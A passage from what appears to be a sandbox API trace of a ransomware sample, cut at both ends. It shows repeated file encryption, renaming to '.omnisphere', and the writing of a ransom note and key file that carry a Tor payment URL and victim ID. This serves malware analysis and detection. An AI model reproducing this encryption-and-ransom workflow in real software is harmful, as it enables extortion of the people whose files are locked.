hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.293] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.295] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.296] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.296] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.296] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0128.296] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.296] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.296] GetProcessHeap () returned 0x1600000 [0128.296] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x1713440 [0128.296] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8b3a97bfbf120b6.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\b8b3a97bfbf120b6.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8b3a97bfbf120b6.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\b8b3a97bfbf120b6.automaticdestinations-ms.omnisphere")) returned 1 [0128.297] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8b3a97bfbf120b6.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8b3a97bfbf120b6.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8b3a97bfbf120b6.automaticDestinations-ms.omnisphere.id" [0128.298] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8b3a97bfbf120b6.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\b8b3a97bfbf120b6.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.298] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.300] CloseHandle (hObject=0x388) returned 1 [0128.300] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.300] CloseHandle (hObject=0x3c0) returned 1 [0128.300] SetEndOfFile (hFile=0x288) returned 1 [0128.300] FlushFileBuffers (hFile=0x288) returned 1 [0128.304] CloseHandle (hObject=0x288) returned 1 [0128.304] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8b3a97bfbf120b6.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.304] GetProcessHeap () returned 0x1600000 [0128.304] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fd6b0 [0128.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.304] GetProcessHeap () returned 0x1600000 [0128.305] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f2040 [0128.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f2040, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.305] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.305] GetProcessHeap () returned 0x1600000 [0128.305] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710820 [0128.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710820, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.305] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.305] GetProcessHeap () returned 0x1600000 [0128.305] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb468 [0128.305] PathCombineW (in: pszDest=0x16fb468, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.305] GetProcessHeap () returned 0x1600000 [0128.305] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170e1f0 [0128.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.305] WriteFile (in: hFile=0x288, lpBuffer=0x170e1f0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170e1f0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.306] CloseHandle (hObject=0x288) returned 1 [0128.306] GetProcessHeap () returned 0x1600000 [0128.306] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fd6b0 | out: hHeap=0x1600000) returned 1 [0128.306] GetProcessHeap () returned 0x1600000 [0128.306] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.306] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.306] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.306] CloseHandle (hObject=0x288) returned 1 [0128.307] GetProcessHeap () returned 0x1600000 [0128.307] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.307] GetProcessHeap () returned 0x1600000 [0128.307] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.307] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x672a206a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x672a206a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x672a206a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="d00655d2aa12ff6d.automaticDestinations-ms", cAlternateFileName="D00655~1.AUT")) returned 1 [0128.307] GetProcessHeap () returned 0x1600000 [0128.307] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.307] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="d00655d2aa12ff6d.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms" [0128.307] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.307] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\d00655d2aa12ff6d.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.308] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0128.308] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, 